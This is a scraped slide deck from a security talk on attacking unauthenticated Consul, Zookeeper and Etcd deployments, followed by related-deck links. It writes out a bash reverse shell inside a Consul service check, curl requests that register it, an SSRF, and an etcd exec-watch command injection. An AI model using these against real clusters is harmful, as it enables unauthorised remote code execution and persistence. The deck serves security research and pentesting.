SlideShare a Scribd company logo
1 of 70
How we hacked DCMs?
Bharadwaj Machiraju (@tunnelshade_)
Francis Alexander (@torque59)
#whoarewe
◦ FOSS & Python guys.
◦ Incase you use OWASP OWTF/NoSQL
Exploitation Framework, buy us a beer.
◦ Appsec Engineers at Envestnet Yodlee (fintech).
◦ Mostly we will talk about some nice pwn stories.
DCM = Distributed Configuration Management
When dinosaurs were alive ...
Application
Server
DatabaseUser
Present day scenario!
API Gateway
User
Message
Broker
Microservice 1
Job
Scheduler
Microservice 2
Keystore
Storage
General Necessity!
◦ Distributed nature of applications lead to the
necessity of distributed configuration
management for simplifying the process of
▫ Maintenance of infrastructure.
▫ Synchronization of processes.
▫ Service discovery.
General Our Necessity!
◦ Look cool in pentest reports!!
◦ As other application’s configurations are present
here, it is a goldmine.
◦ And if you get to editing these configurations ...
Types of DCMs
1. Ensemble Type
◦ Cluster of servers in sync.
◦ Queried by the applications for shared data.
◦ Apache Zookeeper & Etcd are popular examples.
◦ Sample Usage: Provide synchronization between
processes.
2. Agent Type
◦ A lightweight agent in every instance.
◦ Agents communicate using gossip protocol (a p2p
protocol).
◦ Serf & Consul are popular examples.
◦ Sample Usage: Discover app instances and add
them to load balancer.
◦ Our favorite type :D
HashiCorp
HashiCorp Consul
◦ Agent type. Built on top Serf.
◦ Provides service discovery.
◦ Uses a microservice interface to a replicated view
of your topology and its configuration.
◦ Can monitor and change services topology based
on health.
Consul Agent (Master & Slave)
◦ Has client and master modes.
◦ All nodes run an agent.
◦ Stays in sync, interface with REST and DHCP
◦ RAFT quorum, who is leader/master.
◦ Handles WAN gossip to other datacenters.
◦ Forwards queries to leader/master.
Security Overview
◦ No Authentication by default.
◦ Enumerate Services through HTTP API.
◦ SSRF feature/vulnerability.
◦ RCE through services and event firing.
Some Interesting API’s
◦ Agent HTTP Endpoint
▫ /v1/agent/checks : Returns the checks the local agent is
managing
▫ /v1/agent/services : Returns the services the local agent is
managing
◦ Coordinate HTTP Endpoint
▫ /v1/coordinate/datacenters : Queries for WAN coordinates
of Consul servers.
SSRF With Join Endpoint
◦ Triggers the local agent to join a node.
◦ /v1/agent/join/<address>
Final Payload
http://localhost:8500/v1/agent/join/127.0.0.1:port.
Remote Code Execution - I
◦ Execute your code through events.
◦ Consul exec provides an interface to run these.
How does it Work
◦ Create session: PUT /v1/session/create
◦ Create Rexec event: PUT
/v1/kv/_rexec/job-uuid/job?acquire=job-uuid.
◦ Fire the event: PUT /v1/event/fire/_rexec
Remote Code Execution - I
Final Payload
◦ consul exec -http-addr=remote_addr
[whoami/payload].
◦ If disable_remote_execution is enabled then we
are out of luck (which mostly never happens
though !!).
Demo
Remote Code Execution - II
◦ Execute your code by registering as services.
◦ We could then leverage checks to get our code
executed.
◦ Services are synced and then executed.
◦ Once done with your work de-register and come
out.
Remote Code Execution - II
Registering a Service
◦ Sample Service:With Check
{ "ID": "http",
"Name": "http",
"Address": "0.0.0.0",
"Port": 80,
"check": {
"script": "bash -i >& /dev/tcp/0.0.0.0/8081 0>&1",
"interval": "10s"
}
Remote Code Execution - II
Final Payload
◦ Use Curl
▫ curl -X PUT --data-binary @test.json
http://localhost:8500/v1/agent/service/regi
ster
◦ Check : dig @127.0.0.1 -p 8600 http.service.consul.
◦ Open netcat you should have your shell ready.
Remote Code Execution - II
Final Thoughts.
◦ If not de-registered, the service should be running
and you should have persistence.
◦ Deregistering is simple
(/deregister/service-name)
Demo
Apache Zookeeper
Because coordinating distributed applications is a zoo
Apache Zookeeper
◦ Ensemble type.
◦ Cluster of servers available to query.
◦ The name space provided is much like that of a
standard file system.
◦ A name is a sequence of path elements separated
by a slash (/). Every node is identified by a path.
It looks like (meh)
Hierarchical Namespace
Quorum Peer
◦ One server in quorum is called quorum peer.
◦ Each one has three ports open
▫ Intercom. ports (Default: 2888 & 3888)
▫ Client port (Default: 2181)
Simple API
◦ create/delete/exists node
◦ get/set data node
◦ get children node
◦ sync
◦ watch node
◦ Libs available in all languages exposing this api.
Auth?
◦ Optional Auth ← People are Lazy (Proof:
Shodan)
◦ Different kinds of auth are supported.
◦ No auth is fine, but if auth then we need a way.
◦ Next logical step was to dive into internals of zk.
◦ For that
Installed Eclipse & configured JAVA
Let us try Hey man,
where is
the auth?
Bits and Pieces!
◦ Custom binary protocol using Apache Jute.
◦ Only one vulnerability known till date
CVE-2015-5017 (Buffer Overflow in ZK C cli shell)
◦ But then ...
Hey, please
sync with this
latest data
snapshot!
Hi, I am
your
follower.
Rogue Quorum Peer <= 3.4.9
◦ Introduce a rogue follower to quorum leader
gives you access to data along with the auth info
for certain auth providers.
◦ So, whenever you want to modify existing data,
just resubmit the auth info along with write
request to the leader. KABOOOM!!
Demo
Why is Zookeeper important?
◦ Used in many awesome products mainly from
Apache.
◦ Apache HBase non related distributed db.
◦ Uses zk for synchronization.
HBase
Briefly,
◦ Every HMaster creates an ephemeral node and
backup masters just wait.
◦ If you can bypass auth and write/delete this
ephemeral node, you can add a rogue master.
◦ Give it time :P or force crash the old master for all
region servers to connect to your rogue.
◦ Extrapolation of CVE-2015-1836.
Briefly
JMX and Zookeeper are Buddies
◦ Zookeeper runs JMX by default but on loopback.
◦ Instances having remotely accessible JMX are fun.
◦ End Result: Chain set of Bugs to RCE.
How we did it luckily!!
◦ Memory can be accessed through JMX which can
be written to a file.
◦ We used Zookeeper to pop a php/jsp shell by
creating a node with our code as its value.
◦ Multiple reads of the node makes it available in
the memory.
◦ Dump to an executable location within the web
server. PWN !!!
CoreOS
Architecture
Etcd Basics
◦ Nodes get Connected to the Main Server (Cluster)
◦ Stores data persistently
◦ Takes snapshots.
◦ Like a directory tree.
◦ Uses a discovery URL.
Etcd API
◦ put key value
◦ get key
◦ del --from-key a
◦ snapshot save snapshot.db
◦ watch
Either use CURL or get yourself etcdctl
Inherent [In]security
◦ No Authentication by default.
◦ Authentication sucks if not implemented properly.
◦ HTTP Endpoints available at your disposal.
◦ RCE through un-authenticated instances when
exposed with a feature.
But it is 2017 right!!
◦ Users and roles implemented in Etcd>=2.1
◦ Auth can be switched on by enabling root
user.
◦ But ...
◦ Guest account gets enabled by default.
◦ guest users have read and write
privileges.
Use Case - Chain to RCE
◦ Etcd allows usage of watchers.
◦ Watch a node and execute commands
◦ We came across $ETCD_WATCH_VALUE
◦ We saw some pretty dumb implementations.
◦ Etcd does not filter values coming to
ETCD_WATCH_VALUE
etcdctl exec-watch --recursive /foo_dir/foo --sh -c
'$ETCD_WATCH_VALUE'
Let the request talk.
curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT
-d value="ls"
Pwn !!
Brainstorm!!!
◦ Requires write operation, to write to the key, and
we should probably have luck with monitoring
using exec-watch, which most people do !!.
◦ Etcd is being used in Kubernetes. You cannot be
more Evil.
Demo
Etcd is nice
◦ Some of the attacks, only applicable if instance is
not authenticated.
◦ You can add rogue members.
◦ Check for health.
◦ Get the connected members’ list.
Lots of DCMs Pwnage
Automation !!
Garfield
◦ Wannabe distributed application stack scanner.
◦ Currently supports DCMs - Zk, Etcd and Consul.
Written in <3 with Python.
Demos
References
◦ CoreOS Etcd (https://coreos.com/etcd)
◦ Apache Zookeeper (https://zookeeper.apache.org/)
◦ Hashicorp Consul (https://www.consul.io/)
◦ Zk (https://zookeeper.apache.org/doc/trunk/zookeeperOver.html)
Ongoing Work
◦ Not yet broken auth providers in zookeeper.
◦ Kubernetes access through etcd.
◦ Other distributed systems using zookeeper.
Shouts!!
PhDays (y)
Wonderful folks of #appsec@yodlee
Kamaiah Nadavala
Ajin Abraham
Thank You!
Bharadwaj Machiraju
@tunnelshade_
blog.tunnelshade.in
Francis Alexander
@torque59
nosqlproject.com
github.com/torque59/garfield

More Related Content

What's hot

Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Alexander Polce Leary
 
I Have the Power(View)
I Have the Power(View)I Have the Power(View)
I Have the Power(View)Will Schroeder
 
DeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows KernelDeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows KernelPeter Hlavaty
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 
Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011Rich Bowen
 
Docker Security Paradigm
Docker Security ParadigmDocker Security Paradigm
Docker Security ParadigmAnis LARGUEM
 
Here Be Dragons: The Unexplored Land of Active Directory ACLs
Here Be Dragons: The Unexplored Land of Active Directory ACLsHere Be Dragons: The Unexplored Land of Active Directory ACLs
Here Be Dragons: The Unexplored Land of Active Directory ACLsAndy Robbins
 
Threat stack aws
Threat stack awsThreat stack aws
Threat stack awsJen Andre
 
Wtf is happening_inside_my_android_phone_public
Wtf is happening_inside_my_android_phone_publicWtf is happening_inside_my_android_phone_public
Wtf is happening_inside_my_android_phone_publicJaime Blasco
 
Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'Jen Andre
 
Apache Cookbook - TekX Chicago 2010
Apache Cookbook - TekX Chicago 2010Apache Cookbook - TekX Chicago 2010
Apache Cookbook - TekX Chicago 2010Rich Bowen
 
Adventures in Asymmetric Warfare
Adventures in Asymmetric WarfareAdventures in Asymmetric Warfare
Adventures in Asymmetric WarfareWill Schroeder
 
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Shakacon
 
Attacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit FrameworkAttacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit FrameworkChris Gates
 
PowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationPowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationWill Schroeder
 

What's hot (20)

Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017Building Better Backdoors with WMI - DerbyCon 2017
Building Better Backdoors with WMI - DerbyCon 2017
 
Bridging the Gap
Bridging the GapBridging the Gap
Bridging the Gap
 
I Have the Power(View)
I Have the Power(View)I Have the Power(View)
I Have the Power(View)
 
DeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows KernelDeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows Kernel
 
A Year in the Empire
A Year in the EmpireA Year in the Empire
A Year in the Empire
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011
 
Docker Security Paradigm
Docker Security ParadigmDocker Security Paradigm
Docker Security Paradigm
 
Here Be Dragons: The Unexplored Land of Active Directory ACLs
Here Be Dragons: The Unexplored Land of Active Directory ACLsHere Be Dragons: The Unexplored Land of Active Directory ACLs
Here Be Dragons: The Unexplored Land of Active Directory ACLs
 
Threat stack aws
Threat stack awsThreat stack aws
Threat stack aws
 
Attack on the Core
Attack on the CoreAttack on the Core
Attack on the Core
 
Wtf is happening_inside_my_android_phone_public
Wtf is happening_inside_my_android_phone_publicWtf is happening_inside_my_android_phone_public
Wtf is happening_inside_my_android_phone_public
 
Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'Codetainer: a Docker-based browser code 'sandbox'
Codetainer: a Docker-based browser code 'sandbox'
 
Apache Cookbook - TekX Chicago 2010
Apache Cookbook - TekX Chicago 2010Apache Cookbook - TekX Chicago 2010
Apache Cookbook - TekX Chicago 2010
 
moscmy2016: Extending Docker
moscmy2016: Extending Dockermoscmy2016: Extending Docker
moscmy2016: Extending Docker
 
RAT - Repurposing Adversarial Tradecraft
RAT - Repurposing Adversarial TradecraftRAT - Repurposing Adversarial Tradecraft
RAT - Repurposing Adversarial Tradecraft
 
Adventures in Asymmetric Warfare
Adventures in Asymmetric WarfareAdventures in Asymmetric Warfare
Adventures in Asymmetric Warfare
 
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
Red vs Blue- Modern Atice Directory Attacks, Detection & Protection by Sean M...
 
Attacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit FrameworkAttacking Oracle with the Metasploit Framework
Attacking Oracle with the Metasploit Framework
 
PowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege EscalationPowerUp - Automating Windows Privilege Escalation
PowerUp - Automating Windows Privilege Escalation
 

Similar to Как мы взломали распределенные системы конфигурационного управления

Bash-ing brittle indicators: Red teaming mac-os without bash or python
Bash-ing brittle indicators: Red teaming mac-os without bash or pythonBash-ing brittle indicators: Red teaming mac-os without bash or python
Bash-ing brittle indicators: Red teaming mac-os without bash or pythonCody Thomas
 
Automating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps ApproachAutomating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps ApproachAkshaya Mahapatra
 
SREcon Europe 2016 - Full-mesh IPsec network at Hosted Graphite
SREcon Europe 2016 - Full-mesh IPsec network at Hosted GraphiteSREcon Europe 2016 - Full-mesh IPsec network at Hosted Graphite
SREcon Europe 2016 - Full-mesh IPsec network at Hosted GraphiteHostedGraphite
 
Experiences with Microservices at Tuenti
Experiences with Microservices at TuentiExperiences with Microservices at Tuenti
Experiences with Microservices at TuentiAndrés Viedma Peláez
 
murakumo Cloud Controller
murakumo Cloud Controllermurakumo Cloud Controller
murakumo Cloud ControllerShingo Kawano
 
Service discovery like a pro (presented at reversimX)
Service discovery like a pro (presented at reversimX)Service discovery like a pro (presented at reversimX)
Service discovery like a pro (presented at reversimX)Eran Harel
 
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE Platforms
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE PlatformsFIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE Platforms
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE PlatformsFIWARE
 
A Tale of a Server Architecture (Frozen Rails 2012)
A Tale of a Server Architecture (Frozen Rails 2012)A Tale of a Server Architecture (Frozen Rails 2012)
A Tale of a Server Architecture (Frozen Rails 2012)Flowdock
 
(phpconftw2012) PHP as a Middleware in Embedded Systems
(phpconftw2012) PHP as a Middleware in Embedded Systems(phpconftw2012) PHP as a Middleware in Embedded Systems
(phpconftw2012) PHP as a Middleware in Embedded Systemssosorry
 
Introduction to apache zoo keeper
Introduction to apache zoo keeper Introduction to apache zoo keeper
Introduction to apache zoo keeper Omid Vahdaty
 
To Build My Own Cloud with Blackjack…
To Build My Own Cloud with Blackjack…To Build My Own Cloud with Blackjack…
To Build My Own Cloud with Blackjack…Sergey Dzyuban
 
Node js presentation
Node js presentationNode js presentation
Node js presentationmartincabrera
 
Composing services with Kubernetes
Composing services with KubernetesComposing services with Kubernetes
Composing services with KubernetesBart Spaans
 
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019Viktor Todorov
 
Phil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage makerPhil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage makerAWSCOMSUM
 
Splunk: Forward me the REST of those shells
Splunk: Forward me the REST of those shellsSplunk: Forward me the REST of those shells
Splunk: Forward me the REST of those shellsAnthony D Hendricks
 
Machine learning at scale with aws sage maker
Machine learning at scale with aws sage makerMachine learning at scale with aws sage maker
Machine learning at scale with aws sage makerPhilipBasford
 
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...Simplilearn
 

Similar to Как мы взломали распределенные системы конфигурационного управления (20)

Bash-ing brittle indicators: Red teaming mac-os without bash or python
Bash-ing brittle indicators: Red teaming mac-os without bash or pythonBash-ing brittle indicators: Red teaming mac-os without bash or python
Bash-ing brittle indicators: Red teaming mac-os without bash or python
 
Automating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps ApproachAutomating Software Development Life Cycle - A DevOps Approach
Automating Software Development Life Cycle - A DevOps Approach
 
SREcon Europe 2016 - Full-mesh IPsec network at Hosted Graphite
SREcon Europe 2016 - Full-mesh IPsec network at Hosted GraphiteSREcon Europe 2016 - Full-mesh IPsec network at Hosted Graphite
SREcon Europe 2016 - Full-mesh IPsec network at Hosted Graphite
 
Experiences with Microservices at Tuenti
Experiences with Microservices at TuentiExperiences with Microservices at Tuenti
Experiences with Microservices at Tuenti
 
murakumo Cloud Controller
murakumo Cloud Controllermurakumo Cloud Controller
murakumo Cloud Controller
 
Service discovery like a pro (presented at reversimX)
Service discovery like a pro (presented at reversimX)Service discovery like a pro (presented at reversimX)
Service discovery like a pro (presented at reversimX)
 
Azure functions
Azure functionsAzure functions
Azure functions
 
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE Platforms
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE PlatformsFIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE Platforms
FIWARE Tech Summit - Docker Swarm Secrets for Creating Great FIWARE Platforms
 
A Tale of a Server Architecture (Frozen Rails 2012)
A Tale of a Server Architecture (Frozen Rails 2012)A Tale of a Server Architecture (Frozen Rails 2012)
A Tale of a Server Architecture (Frozen Rails 2012)
 
(phpconftw2012) PHP as a Middleware in Embedded Systems
(phpconftw2012) PHP as a Middleware in Embedded Systems(phpconftw2012) PHP as a Middleware in Embedded Systems
(phpconftw2012) PHP as a Middleware in Embedded Systems
 
Introduction to apache zoo keeper
Introduction to apache zoo keeper Introduction to apache zoo keeper
Introduction to apache zoo keeper
 
To Build My Own Cloud with Blackjack…
To Build My Own Cloud with Blackjack…To Build My Own Cloud with Blackjack…
To Build My Own Cloud with Blackjack…
 
Node js presentation
Node js presentationNode js presentation
Node js presentation
 
Composing services with Kubernetes
Composing services with KubernetesComposing services with Kubernetes
Composing services with Kubernetes
 
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
 
Phil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage makerPhil Basford - machine learning at scale with aws sage maker
Phil Basford - machine learning at scale with aws sage maker
 
Splunk: Forward me the REST of those shells
Splunk: Forward me the REST of those shellsSplunk: Forward me the REST of those shells
Splunk: Forward me the REST of those shells
 
Machine learning at scale with aws sage maker
Machine learning at scale with aws sage makerMachine learning at scale with aws sage maker
Machine learning at scale with aws sage maker
 
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...
DevOps Interview Questions Part - 2 | Devops Interview Questions And Answers ...
 
Get your teeth into Plack
Get your teeth into PlackGet your teeth into Plack
Get your teeth into Plack
 

More from Positive Hack Days

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikPositive Hack Days
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQubePositive Hack Days
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Positive Hack Days
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для ApproofPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Positive Hack Days
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложенийPositive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложенийPositive Hack Days
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application SecurityPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиPositive Hack Days
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОPositive Hack Days
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке СиPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CorePositive Hack Days
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опытPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterPositive Hack Days
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиPositive Hack Days
 

More from Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Recently uploaded

Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Farhan Tariq
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Hiroshi SHIBATA
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesThousandEyes
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...Wes McKinney
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityIES VE
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesKari Kakkonen
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch TuesdayIvanti
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
